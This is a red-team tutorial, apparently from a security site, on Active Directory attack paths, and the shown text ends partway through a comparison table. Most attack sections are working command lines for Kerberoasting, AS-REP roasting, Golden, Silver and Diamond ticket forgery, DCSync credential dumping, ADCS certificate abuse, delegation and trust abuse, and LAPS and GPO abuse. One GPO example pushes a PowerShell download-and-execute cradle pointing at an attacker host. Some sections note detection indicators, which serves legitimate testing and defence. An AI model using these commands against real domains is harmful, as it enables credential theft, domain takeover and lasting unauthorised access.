Active Directory Attack Paths | Red Teaming

Overview

Active Directory (AD) remains the single most valuable target in enterprise red team engagements. Deployed in over 90% of Fortune 1000 companies, AD serves as the centralized identity and access management backbone for Windows-dominant environments. Compromising AD means controlling authentication, authorization, group policies, and ultimately every machine and user joined to the domain.

Unlike attacking individual hosts, AD exploitation is about chaining relationships — a misconfigured ACL here, a Kerberoastable service account there, a delegation trust that shouldn’t exist — until you’ve built a path from an unprivileged foothold to Domain Admin or Enterprise Admin. The attack surface isn’t a single vulnerability but rather the emergent complexity of thousands of interrelated objects, permissions, and trust relationships.

Modern AD environments are rarely compromised through a single exploit. Instead, red teamers build attack graphs — chains of privilege escalation steps that abuse the inherent design of AD rather than software bugs. Understanding these paths is what separates a competent red teamer from someone who just runs tools.

Why AD Is the #1 Target

Centralized authentication: Compromising AD gives access to every system that trusts it for authentication.
Single sign-on abuse: One set of credentials or one forged ticket can unlock dozens of systems.
Legacy compatibility: AD maintains backward compatibility with protocols from the 1990s, preserving attack surface that should have been retired decades ago.
Complexity breeds misconfiguration: The average enterprise AD has tens of thousands of objects, each with its own ACL — misconfigurations are inevitable.
Persistence is trivial: Once you own AD, persistence mechanisms (Golden Tickets, ADCS certificates, AdminSDHolder) can survive password resets and even domain controller rebuilds.

AD Architecture for Red Teamers

Before attacking AD, you need to understand the structures you’re navigating.

Forests, Trees, and Domains

Enterprise Forest (jcsec.local)
├── Root Domain: jcsec.local
│   ├── Child Domain: dev.jcsec.local
│   └── Child Domain: corp.jcsec.local
│       ├── OU: Workstations
│       ├── OU: Servers
│       ├── OU: Users
│       │   ├── OU: Engineering
│       │   └── OU: Finance
│       └── OU: Service Accounts
└── External Trust: partner.com (one-way)

Forest: The ultimate security boundary in AD. All domains within a forest share the same schema, configuration, and Global Catalog. Cross-forest attacks require trust abuse.
Tree: A contiguous namespace of domains (e.g., dev.jcsec.local is a child of jcsec.local). Parent-child trusts are automatic and transitive.
Domain: The primary administrative boundary. Each domain has its own set of domain controllers, user accounts, group policies, and krbtgt account.
Organizational Units (OUs): Containers for organizing objects within a domain. OUs determine which GPOs apply and who has delegated administrative rights.

Authentication Protocols

NTLM (legacy but still everywhere):

Challenge-response protocol using NT hashes.
No mutual authentication — vulnerable to relay attacks.
Still used when Kerberos fails (IP-based access, cross-forest, NTLM-only applications).
NTLM hashes are equivalent to passwords for pass-the-hash attacks.

Kerberos (default in AD):

Ticket-based authentication using the KDC (Key Distribution Center) on domain controllers.
TGT (Ticket Granting Ticket) proves identity to the KDC.
TGS (Ticket Granting Service) proves authorization to a specific service.
Encrypted with service account keys — which is exactly what makes Kerberoasting possible.

Key Objects for Red Teamers

Object Type	Why It Matters	What to Look For
Users	Credential targets, ACL abuse	Privileged groups, SPNs, “Do not require Kerberos preauthentication”
Service Accounts	Often over-privileged, weak passwords	SPNs (Kerberoastable), delegation settings, group memberships
Computers	Lateral movement targets, delegation	Unconstrained delegation, LAPS, local admin rights
Groups	Privilege escalation via nesting	Domain Admins, Enterprise Admins, Backup Operators, nested groups
GPOs	Code execution at scale	Who can modify GPOs? Which OUs do they link to?
Certificate Templates	ADCS abuse (ESC1-ESC8)	Enrollment permissions, EKU settings, manager approval
Trusts	Cross-domain/forest movement	Trust direction, SID filtering status, trust type

Enumeration with BloodHound

BloodHound is the single most important tool in an AD red teamer’s arsenal. It maps every relationship in the domain — group memberships, local admin rights, session data, ACLs, trusts — and computes attack paths algorithmically.

SharpHound Collection Methods

SharpHound is the data collector for BloodHound. The collection method you choose depends on your stealth requirements and access level.

Method	What It Collects	Noise Level	Best For
`All`	Everything (group, session, local admin, ACL, trust, object props)	High	Initial assessment with admin access
`DCOnly`	Data from DC only (users, groups, trusts, ACLs) — no host enumeration	Low	Stealth-constrained engagements
`Session`	Logged-on sessions from each host	Medium	Finding where high-value users are logged in
`LoggedOn`	Privileged session enumeration via registry	Medium-High	Requires local admin on targets
`Group`	Group memberships only	Low	Minimal footprint enumeration
`ACL`	DACLs on AD objects	Low-Medium	Finding ACL-based attack paths
`ObjectProps`	Object properties (LAPS, last logon, etc.)	Low	Supplemental data collection

# Full collection from a domain-joined host
.\SharpHound.exe -c All --outputdirectory C:\Temp\ --zipfilename bloodhound.zip

# Stealth: DC-only collection (no host enumeration, minimal network traffic)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp\ --zipfilename dc_only.zip

# Session collection with loop (check sessions every 10 minutes for 2 hours)
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:10:00

# From Linux with BloodHound.py (Python collector)
bloodhound-python -u jsmith -p 'P@ssw0rd' -d jcsec.local -ns 10.10.10.1 -c All

BloodHound CE vs Legacy

BloodHound Community Edition (CE) is the modern version with a complete rewrite:

PostgreSQL + API backend (replaces Neo4j for data storage, though still uses graph queries).
Docker-based deployment.
Improved UI with saved queries and better filtering.
Attack path management features for blue team use.
New data model with expanded relationships.

Legacy BloodHound (Neo4j-based):

Still widely used and documented.
Raw Cypher query access via the Neo4j console.
Massive community query library.
Lighter weight for quick assessments.

Critical Cypher Queries

These queries expose the relationships that matter most. Run them in BloodHound Legacy’s raw query bar or adapt for CE.

# Find shortest path from owned principals to Domain Admins
MATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@JCSEC.LOCAL"}))
RETURN p

# Find all Kerberoastable users with a path to Domain Admin
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@JCSEC.LOCAL"}))
RETURN u.name, length(p)
ORDER BY length(p) ASC

# Find all users with DCSync rights
MATCH (n)-[:MemberOf|GetChanges*1..]->(d:Domain)
MATCH (n)-[:MemberOf|GetChangesAll*1..]->(d)
RETURN n.name, n.objectid

# Find computers with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name, c.operatingsystem

# Find principals with GenericAll on Domain Admins
MATCH (n)-[:GenericAll]->(g:Group {name:"DOMAIN ADMINS@JCSEC.LOCAL"})
RETURN n.name, labels(n)

# Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true})
RETURN u.name, u.displayname

# Find GPO abuse paths
MATCH (n)-[:GenericWrite|GenericAll|Owns|WriteDacl|WriteOwner]->(g:GPO)
MATCH (g)-[:GpLink]->(ou:OU)
MATCH (ou)-[:Contains*1..]->(target)
RETURN n.name, g.name, collect(distinct target.name)

Kerberos Authentication Flow and Attack Points

Understanding where each attack intercepts the Kerberos flow is essential.

flowchart LR
    subgraph "Authentication Flow"
        A["Client"] -->|"1. AS-REQ\n(username + timestamp\nencrypted with user key)"| B["KDC / DC"]
        B -->|"2. AS-REP\n(TGT encrypted\nwith krbtgt key)"| A
        A -->|"3. TGS-REQ\n(TGT + target SPN)"| B
        B -->|"4. TGS-REP\n(TGS encrypted with\nservice account key)"| A
        A -->|"5. AP-REQ\n(TGS presented\nto service)"| C["Target Service"]
    end

    subgraph "Attack Interceptions"
        D["AS-REP Roasting\n(Step 2: crack AS-REP\nfor accounts without\npre-auth)"] -.->|"Intercepts"| B
        E["Kerberoasting\n(Step 4: crack TGS\noffline to recover\nservice password)"] -.->|"Intercepts"| B
        F["Golden Ticket\n(Forge TGT using\nkrbtgt hash —\nskips steps 1-2)"] -.->|"Replaces"| A
        G["Silver Ticket\n(Forge TGS using\nservice hash —\nskips steps 1-4)"] -.->|"Replaces"| A
    end

    style D fill:#e74c3c,color:#fff
    style E fill:#e67e22,color:#fff
    style F fill:#8e44ad,color:#fff
    style G fill:#2980b9,color:#fff

Kerberoasting

Kerberoasting is the most commonly successful AD attack on real engagements. It exploits the fact that any authenticated domain user can request a TGS ticket for any service with a registered SPN — and that ticket is encrypted with the service account’s password hash, making it crackable offline.

How It Works

Attacker authenticates to the domain (any domain user).
Attacker requests TGS tickets for service accounts with SPNs.
The KDC returns tickets encrypted with the service account’s NTLM hash.
Attacker extracts the ticket and cracks it offline — no lockout, no detection from the target service.
If the service account has a weak password, the attacker recovers plaintext credentials.

Why It’s So Effective

No special privileges needed — any domain user can request these tickets.
Offline cracking — no failed logon events, no account lockout.
Service accounts are often over-privileged — many are Domain Admins or have sensitive access.
Service account passwords rarely rotate — organizations set them and forget them.

Tools and Execution

# Rubeus — from a domain-joined Windows host
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Rubeus — targeted (single user, less noise)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql.txt

# Rubeus — request RC4 encryption (easier to crack) even if AES is supported
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes_rc4.txt

# Impacket — from Linux
impacket-GetUserSPNs jcsec.local/jsmith:'P@ssw0rd' -dc-ip 10.10.10.1 -request -outputfile hashes.txt

# Impacket — targeted Kerberoasting
impacket-GetUserSPNs jcsec.local/jsmith:'P@ssw0rd' -dc-ip 10.10.10.1 -request-user svc_sql

# Crack with hashcat (mode 13100 for RC4, 19700 for AES)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

AES vs RC4 Considerations

Modern AD environments may enforce AES encryption for Kerberos tickets. AES-encrypted tickets are significantly slower to crack:

RC4 (etype 23): ~500,000 hashes/second on a modern GPU — crackable in hours.
AES-256 (etype 18): ~50,000 hashes/second — 10x slower, but still feasible for weak passwords.
Rubeus /tgtdeleg: Tricks the KDC into issuing RC4-encrypted tickets by using a TGT delegation trick. Works unless RC4 is explicitly disabled.

Detection Indicators

Event ID 4769 (Kerberos Service Ticket Operations) with encryption type 0x17 (RC4) for services that normally use AES.
Sudden spike in TGS requests from a single user.
TGS requests for SPNs that the requesting user has never accessed before.
Honey accounts with SPNs that should never receive legitimate ticket requests.

AS-REP Roasting

AS-REP Roasting targets accounts that have Kerberos pre-authentication disabled (DONT_REQUIRE_PREAUTH). Without pre-authentication, anyone can request an AS-REP for these accounts and crack it offline to recover the password.

How It Works

Attacker identifies accounts with pre-authentication disabled (via LDAP query or BloodHound).
Attacker sends an AS-REQ to the KDC for the target account — no credentials needed.
The KDC responds with an AS-REP containing data encrypted with the user’s password hash.
Attacker cracks the encrypted portion offline.

Why Pre-Auth Gets Disabled

Legacy applications that don’t support pre-authentication.
Linux/Unix Kerberos clients that were misconfigured.
Administrators who disabled it “temporarily” during troubleshooting and never re-enabled it.

Tools and Execution

# Rubeus — enumerate and roast from domain-joined host
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

# Rubeus — target specific user
.\Rubeus.exe asreproast /user:svc_legacy /outfile:asrep_svc.txt

# Impacket — from Linux (no domain credentials needed for this attack)
impacket-GetNPUsers jcsec.local/ -usersfile users.txt -dc-ip 10.10.10.1 -format hashcat -outputfile asrep.txt

# Impacket — with credentials (can enumerate DONT_REQUIRE_PREAUTH users automatically)
impacket-GetNPUsers jcsec.local/jsmith:'P@ssw0rd' -dc-ip 10.10.10.1 -request -format hashcat

# Crack with hashcat (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting vs AS-REP Roasting Comparison

Aspect	Kerberoasting	AS-REP Roasting
Target	Service accounts with SPNs	Accounts without pre-auth
Auth required	Any domain user	None (for known usernames)
Prevalence	Very common (many SPNs)	Less common (fewer affected accounts)
Crack difficulty	Same (depends on password strength)	Same (depends on password strength)
Hashcat mode	13100 (RC4) / 19700 (AES)	18200
Detection	Event 4769 anomalies	Event 4768 without pre-auth

Golden Ticket

A Golden Ticket is a forged TGT created using the krbtgt account’s NTLM hash. Since the KDC uses krbtgt to encrypt all TGTs, possessing this hash allows an attacker to forge tickets for any user — including non-existent users — with any group memberships.

Prerequisites

krbtgt NTLM hash: Obtained via DCSync, ntds.dit extraction, or domain controller compromise.
Domain SID: Easily enumerable by any domain user.
Domain name: Trivial to obtain.

Execution

# Mimikatz — forge Golden Ticket
kerberos::golden /user:Administrator /domain:jcsec.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:aabbccdd00112233aabbccdd00112233 /ptt

# Impacket — forge and save to ccache
impacket-ticketer -nthash aabbccdd00112233aabbccdd00112233 -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain jcsec.local Administrator

# Use the forged ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec jcsec.local/Administrator@dc01.jcsec.local -k -no-pass

# Rubeus — forge and inject into current session
.\Rubeus.exe golden /rc4:aabbccdd00112233aabbccdd00112233 /user:Administrator /domain:jcsec.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /ptt

Operational Considerations

Lifetime: Golden Tickets are valid for 10 years by default (or whatever you set). They survive password resets for all users except krbtgt.
Mitigation: Resetting the krbtgt password twice (to invalidate both current and previous keys) is the only way to invalidate Golden Tickets. This must be done carefully to avoid breaking Kerberos authentication domain-wide.
PAC validation: Some services validate the PAC (Privilege Attribute Certificate) with the DC, which can detect forged PACs. In practice, most services do not perform PAC validation.

Diamond Ticket Alternative

Diamond Tickets are a stealthier evolution of Golden Tickets. Instead of forging a TGT from scratch, a Diamond Ticket:

Requests a legitimate TGT via normal AS-REQ.
Decrypts it using the krbtgt hash.
Modifies the PAC (adding privileged group memberships).
Re-encrypts the TGT.

This produces a ticket with a valid ticket structure and timestamps that align with a real authentication event, making it harder to detect than a traditional Golden Ticket.

# Rubeus — Diamond Ticket
.\Rubeus.exe diamond /krbkey:<krbtgt_aes256_key> /user:jsmith /password:P@ssw0rd /enctype:aes /domain:jcsec.local /dc:dc01.jcsec.local /ptt

Silver Ticket

A Silver Ticket is a forged TGS ticket created using a service account’s NTLM hash (or AES key). Unlike Golden Tickets, Silver Tickets target a specific service and never touch the KDC — the forged ticket is presented directly to the target service.

Advantages Over Golden Tickets

No KDC interaction: The forged ticket goes directly to the service, bypassing DC logging entirely.
Harder to detect: No TGT request, no TGS request — just an AP-REQ to the service.
Sufficient for targeted access: If you only need access to one service (e.g., CIFS on a file server), a Silver Ticket is more surgical.

Common Service Targets

Service	SPN Format	What You Get
CIFS	`cifs/server.jcsec.local`	File share access, psexec
HOST	`host/server.jcsec.local`	WMI, scheduled tasks, PSRemoting
HTTP	`http/server.jcsec.local`	Web application access
MSSQL	`MSSQLSvc/server.jcsec.local:1433`	Database access
LDAP	`ldap/dc01.jcsec.local`	DCSync (with DC’s machine account hash)

Execution

# Mimikatz — forge Silver Ticket for CIFS
kerberos::golden /user:Administrator /domain:jcsec.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:fileserver.jcsec.local /service:cifs /rc4:eeff00112233aabbccddeeff00112233 /ptt

# Impacket — forge Silver Ticket
impacket-ticketer -nthash eeff00112233aabbccddeeff00112233 -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain jcsec.local -spn cifs/fileserver.jcsec.local Administrator

# Access the service
export KRB5CCNAME=Administrator.ccache
impacket-smbclient jcsec.local/Administrator@fileserver.jcsec.local -k -no-pass

SAPPHIRE Ticket

SAPPHIRE Tickets combine the Silver Ticket concept with S4U2Self to obtain a legitimately signed PAC from the KDC, then transplant it into a forged service ticket. This bypasses PAC validation defenses while maintaining the stealth advantages of a Silver Ticket.

DCSync

DCSync abuses the legitimate domain replication protocol (MS-DRSR) to extract credentials directly from a domain controller — without ever running code on the DC itself.

Required Privileges

The attacking principal needs these rights on the domain object:

Replicating Directory Changes (DS-Replication-Get-Changes)
Replicating Directory Changes All (DS-Replication-Get-Changes-All)

By default, these are held by: Domain Admins, Enterprise Admins, Domain Controllers, and Administrators.

Execution

# Mimikatz — extract krbtgt hash
lsadump::dcsync /domain:jcsec.local /user:krbtgt

# Mimikatz — extract specific user
lsadump::dcsync /domain:jcsec.local /user:Administrator

# Mimikatz — extract all accounts
lsadump::dcsync /domain:jcsec.local /all /csv

# Impacket — from Linux (extract all hashes)
impacket-secretsdump jcsec.local/admin:'P@ssw0rd'@dc01.jcsec.local -just-dc

# Impacket — extract only NTLM hashes (faster)
impacket-secretsdump jcsec.local/admin:'P@ssw0rd'@dc01.jcsec.local -just-dc-ntlm

# Impacket — extract krbtgt specifically
impacket-secretsdump jcsec.local/admin:'P@ssw0rd'@dc01.jcsec.local -just-dc-user krbtgt

What You Get

NTLM hashes for every domain user — usable for pass-the-hash.
krbtgt hash — enables Golden Ticket attacks.
Machine account hashes — enables Silver Tickets against specific services.
Kerberos AES keys — for environments that have disabled RC4.
Cleartext passwords — if reversible encryption is enabled (rare but devastating).

Detection

Event ID 4662 with properties matching replication GUIDs (1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 and 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2).
Replication requests from non-DC IP addresses.
Network monitoring for DRS (Directory Replication Service) traffic from unexpected sources.

ADCS Exploitation (ESC1-ESC8)

Active Directory Certificate Services (ADCS) is one of the most impactful attack surfaces discovered in recent years. Misconfigured certificate templates and CA servers can allow any domain user to escalate to Domain Admin, obtain persistent access through certificates that survive password resets, and even forge certificates for any user in the domain.

ADCS Escalation Summary

Escalation	Vulnerability	Tool	Prerequisite	Impact
ESC1	Template allows requester to specify SAN	Certipy, Certify	Enrollment rights	Impersonate any user (DA)
ESC2	Template has Any Purpose or SubCA EKU	Certipy, Certify	Enrollment rights	Impersonate any user
ESC3	Enrollment agent template + second template allowing enrollment on behalf	Certipy	Enrollment agent rights	Impersonate any user
ESC4	Overly permissive template ACLs	Certipy, Certify	Write access to template	Modify template → ESC1
ESC5	Vulnerable PKI object ACLs (CA server, etc.)	Manual	Write access to PKI objects	Various escalations
ESC6	CA has `EDITF_ATTRIBUTESUBJECTALTNAME2` flag	Certipy, Certify	Enrollment rights	SAN in any request → impersonate
ESC7	CA ACL allows `ManageCA` or `ManageCertificates`	Certipy	ManageCA rights on CA	Enable ESC6, approve pending requests
ESC8	HTTP enrollment endpoint vulnerable to NTLM relay	Certipy, ntlmrelayx	NTLM relay position	Machine account certificate → auth as DC

ESC1 — Misconfigured Certificate Template (Most Common)

ESC1 is the most frequently exploited ADCS vulnerability. It occurs when a certificate template:

Allows low-privileged users to enroll.
Has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT enabled (requester specifies the Subject Alternative Name).
Has an EKU that permits authentication (Client Authentication, PKINIT, Smart Card Logon, or Any Purpose).
Does not require manager approval.

# Certipy — find vulnerable templates
certipy find -u jsmith@jcsec.local -p 'P@ssw0rd' -dc-ip 10.10.10.1 -vulnerable

# Certipy — exploit ESC1 (request cert as Domain Admin)
certipy req -u jsmith@jcsec.local -p 'P@ssw0rd' -dc-ip 10.10.10.1 -ca JCSEC-CA -template VulnTemplate -upn administrator@jcsec.local

# Certipy — authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

# Certify — find vulnerable templates (Windows)
.\Certify.exe find /vulnerable

# Certify — request certificate with SAN
.\Certify.exe request /ca:dc01.jcsec.local\JCSEC-CA /template:VulnTemplate /altname:Administrator

ESC4 — Template ACL Abuse

If you have WriteDacl, WriteOwner, GenericAll, or GenericWrite on a certificate template, you can modify it to become ESC1-vulnerable:

# Certipy — modify template to enable SAN and exploitation
certipy template -u jsmith@jcsec.local -p 'P@ssw0rd' -dc-ip 10.10.10.1 -template TargetTemplate -save-old

# Now exploit as ESC1
certipy req -u jsmith@jcsec.local -p 'P@ssw0rd' -dc-ip 10.10.10.1 -ca JCSEC-CA -template TargetTemplate -upn administrator@jcsec.local

# Restore original template configuration
certipy template -u jsmith@jcsec.local -p 'P@ssw0rd' -dc-ip 10.10.10.1 -template TargetTemplate -configuration old_config.json

ESC8 — NTLM Relay to HTTP Enrollment

If the CA has an HTTP enrollment endpoint (Certificate Enrollment Web Service) and does not enforce HTTPS or EPA (Extended Protection for Authentication), you can relay NTLM authentication to it:

# Set up relay to the CA's HTTP enrollment endpoint
impacket-ntlmrelayx -t http://ca.jcsec.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce authentication from a domain controller (e.g., PetitPotam)
python3 PetitPotam.py -u jsmith -p 'P@ssw0rd' -d jcsec.local listener_ip dc01.jcsec.local

# The relay captures a certificate for the DC's machine account
# Authenticate using the certificate
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.1

Persistence via Certificates

Certificates provide exceptionally durable persistence:

Certificates are valid for 1-2 years by default (template-defined).
They survive password resets — the certificate remains valid even if the user changes their password.
They survive krbtgt rotation — unlike Golden Tickets.
Revocation checking is often not enforced or not configured.

Delegation Attacks

Kerberos delegation allows services to impersonate users when accessing other services on their behalf. Misconfigurations in delegation settings create powerful privilege escalation paths.

Unconstrained Delegation

Servers with unconstrained delegation cache the full TGT of any user who authenticates to them. If you compromise a server with unconstrained delegation, you can extract TGTs from memory and impersonate those users anywhere in the domain.

# Find computers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation

# Monitor for incoming TGTs using Rubeus
.\Rubeus.exe monitor /interval:5 /nowrap

# Coerce a DC to authenticate to the compromised server (SpoolService/PrinterBug)
.\SpoolSample.exe dc01.jcsec.local compromised-server.jcsec.local

# Extract and use the DC's TGT captured by Rubeus
.\Rubeus.exe ptt /ticket:<base64_ticket>

# Now perform DCSync with the DC's identity
lsadump::dcsync /domain:jcsec.local /user:krbtgt

Constrained Delegation (S4U2Self / S4U2Proxy)

Constrained delegation limits which services a server can delegate to (via msDS-AllowedToDelegateTo). However, the S4U extensions can be abused:

S4U2Self: Allows a service to obtain a ticket to itself on behalf of any user (even if that user never authenticated to it).
S4U2Proxy: Uses the S4U2Self ticket to request a ticket to the allowed delegation target.

# Find constrained delegation
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

# Rubeus — S4U to impersonate Administrator to allowed service
.\Rubeus.exe s4u /user:websvc$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/fileserver.jcsec.local /ptt

# Impacket — S4U attack from Linux
impacket-getST -spn cifs/fileserver.jcsec.local -impersonate Administrator jcsec.local/websvc$:password -dc-ip 10.10.10.1

Resource-Based Constrained Delegation (RBCD)

RBCD flips the delegation model — instead of the front-end service declaring what it can delegate to, the back-end service declares who can delegate to it (via msDS-AllowedToActOnBehalfOfOtherIdentity).

Abuse scenario: If you can write to a computer’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute (via GenericWrite, GenericAll, or WriteProperty), you can configure it to accept delegation from an account you control:

# Create or use a machine account you control
impacket-addcomputer jcsec.local/jsmith:'P@ssw0rd' -computer-name FAKEPC$ -computer-pass 'FakeP@ss123' -dc-ip 10.10.10.1

# Configure RBCD — set the target to trust delegation from your machine account
impacket-rbcd jcsec.local/jsmith:'P@ssw0rd' -delegate-from FAKEPC$ -delegate-to TARGET$ -action write -dc-ip 10.10.10.1

# Perform S4U to impersonate admin on the target
impacket-getST -spn cifs/target.jcsec.local -impersonate Administrator jcsec.local/FAKEPC$:'FakeP@ss123' -dc-ip 10.10.10.1

# Use the ticket
export KRB5CCNAME=Administrator@cifs_target.jcsec.local@JCSEC.LOCAL.ccache
impacket-psexec jcsec.local/Administrator@target.jcsec.local -k -no-pass

Trust Abuse

Active Directory trusts extend authentication boundaries across domains and forests. Each trust relationship is a potential lateral movement path.

Trust Types

Trust Type	Direction	Transitivity	Attack Potential
Parent-Child	Two-way	Transitive	SID History injection (automatic trust within forest)
Tree-Root	Two-way	Transitive	Same as parent-child
Forest	One-way or two-way	Non-transitive	SID filtering may block attacks
External	One-way or two-way	Non-transitive	Limited; SID filtering enforced
Shortcut	One-way or two-way	Transitive	Optimizes existing trust paths

SID History Injection (Cross-Domain within Forest)

Within a forest, SID filtering is not enforced on parent-child trusts by default. This means you can forge a Golden Ticket in a child domain with an extra SID in the SID History field — specifically the Enterprise Admins SID of the root domain:

# Get the child domain's krbtgt hash (via DCSync in child domain)
lsadump::dcsync /domain:dev.jcsec.local /user:krbtgt

# Get the root domain SID
Get-ADDomain -Identity jcsec.local | Select-Object DomainSID
# Example: S-1-5-21-9876543210-9876543210-9876543210

# Forge Golden Ticket with Enterprise Admins SID in SID History
kerberos::golden /user:Administrator /domain:dev.jcsec.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:<child_krbtgt_hash> /sids:S-1-5-21-9876543210-9876543210-9876543210-519 /ptt

# Impacket — from Linux
impacket-ticketer -nthash <child_krbtgt_hash> -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain dev.jcsec.local -extra-sid S-1-5-21-9876543210-9876543210-9876543210-519 Administrator

The -519 SID is Enterprise Admins. This ticket grants Enterprise Admin access across the entire forest.

Trust Key Extraction

Trust relationships are maintained by shared secrets (trust keys). Extracting these keys allows forging inter-realm TGTs:

# Extract trust keys via DCSync
lsadump::dcsync /domain:jcsec.local /user:dev$

# Impacket
impacket-secretsdump jcsec.local/admin:'P@ssw0rd'@dc01.jcsec.local -just-dc-user 'dev$'

SID Filtering and Bypass

For forest trusts, SID filtering is enabled by default, blocking SIDs that don’t belong to the trusted domain. However:

SID filtering can be relaxed by administrators (netdom trust /enablesidhistory:yes).
Certain SIDs (like those for well-known groups) may pass through filtering.
If the forest trust has selective authentication enabled, attack surface is further reduced — but often misconfigured.

LAPS Abuse

Local Administrator Password Solution (LAPS) manages unique local administrator passwords for domain-joined computers, storing them in AD attributes.

Legacy LAPS (ms-Mcs-AdmPwd)

# Find computers with LAPS enabled
Get-ADComputer -Filter {ms-Mcs-AdmPwdExpirationTime -ne "$null"} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

# Read LAPS password (requires read access to the attribute)
Get-ADComputer -Identity TARGET-PC -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwd

# CrackMapExec — dump LAPS passwords from Linux
crackmapexec ldap dc01.jcsec.local -u admin -p 'P@ssw0rd' --module laps

# LAPSToolkit
Get-LAPSComputers
Find-LAPSDelegatedGroups

Windows LAPS (New)

Windows LAPS (introduced in Windows Server 2025 and backported) stores passwords in the msLAPS-Password attribute with additional features:

Password encryption (DPAPI-based).
Password history.
Support for DSRM (Directory Services Restore Mode) password management.
Azure AD integration.

# Query Windows LAPS via PowerShell
Get-LapsADPassword -Identity TARGET-PC -AsPlainText

# CrackMapExec supports both legacy and new LAPS
crackmapexec ldap dc01.jcsec.local -u admin -p 'P@ssw0rd' -M laps

Who Can Read LAPS Passwords?

Access to LAPS passwords is controlled by ACLs on the computer object’s ms-Mcs-AdmPwd attribute. BloodHound maps these permissions — look for ReadLAPSPassword edges. Common groups with access:

Domain Admins (by default).
Helpdesk/IT groups (often delegated).
Specific OUs may have delegated read access to LAPS attributes.

Group Policy Exploitation

Group Policy Objects (GPOs) are a powerful mechanism for configuration management — and for attackers who can modify them.

GPO Abuse for Code Execution

If you have write access to a GPO that links to an OU containing computers, you can achieve code execution on every machine in that OU.

# SharpGPOAbuse — add an immediate scheduled task
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')" --GPOName "Default Domain Policy"

# SharpGPOAbuse — add a local admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount jsmith --GPOName "Server Policy"

# SharpGPOAbuse — add a startup script
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "net localgroup administrators jsmith /add" --GPOName "Workstation Policy"

GPP Passwords (Legacy but Still Found)

Group Policy Preferences (GPP) allowed administrators to set local passwords via Group Policy. The passwords were “encrypted” with a published AES key — Microsoft published the key in MSDN documentation.

# Find GPP passwords in SYSVOL
findstr /S /I "cpassword" \\jcsec.local\sysvol\jcsec.local\Policies\*.xml

# Decrypt GPP password
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

# CrackMapExec — automated GPP password search
crackmapexec smb dc01.jcsec.local -u jsmith -p 'P@ssw0rd' -M gpp_password

While Microsoft patched GPP password creation in MS14-025 (2014), existing GPP XML files with encrypted passwords may still exist in SYSVOL on older environments.

AD Attack Path: Initial Foothold to Domain Admin

The following diagram illustrates a realistic attack chain combining multiple techniques covered in this page.

flowchart TD
    A["Initial Foothold\n(Phishing → Workstation)"] --> B["Domain Enumeration\n(BloodHound / SharpHound DCOnly)"]
    B --> C{"Kerberoastable\nService Account?"}
    C -->|Yes| D["Kerberoast\n(Rubeus / Impacket)"]
    D --> E["Crack TGS Offline\n(hashcat -m 13100)"]
    E --> F{"Service Account\nPrivileges?"}
    F -->|"GenericAll on\ncomputer object"| G["RBCD Attack\n(configure delegation)"]
    F -->|"Direct admin\non servers"| H["Lateral Movement\n(PSExec / WMI)"]
    C -->|No| I{"AS-REP Roastable\nAccounts?"}
    I -->|Yes| J["AS-REP Roast\n(Rubeus asreproast)"]
    I -->|No| K["ACL Abuse Paths\n(BloodHound analysis)"]
    G --> L["Compromise Target\nServer"]
    H --> L
    J --> F
    K --> M{"ADCS\nMisconfiguration?"}
    M -->|"ESC1/ESC4"| N["Certipy: Request Cert\nas Domain Admin"]
    N --> O["Domain Admin\nAccess"]
    L --> P{"DCSync\nRights?"}
    P -->|Yes| Q["DCSync\n(secretsdump)"]
    P -->|No| R["Escalate:\nLAPS / GPO Abuse\n/ Delegation"]
    R --> P
    Q --> S["Extract krbtgt Hash"]
    S --> T["Golden Ticket\n(Persistence)"]
    T --> O
    M -->|No| R

    style A fill:#3498db,color:#fff
    style O fill:#e74c3c,color:#fff
    style T fill:#8e44ad,color:#fff
    style N fill:#e67e22,color:#fff

Credential Attacks Comparison

Attack	Required Access	Offline/Online	Detection Difficulty	Yields
Kerberoasting	Any domain user	Offline	Medium (Event 4769 anomalies)	Service account passwords
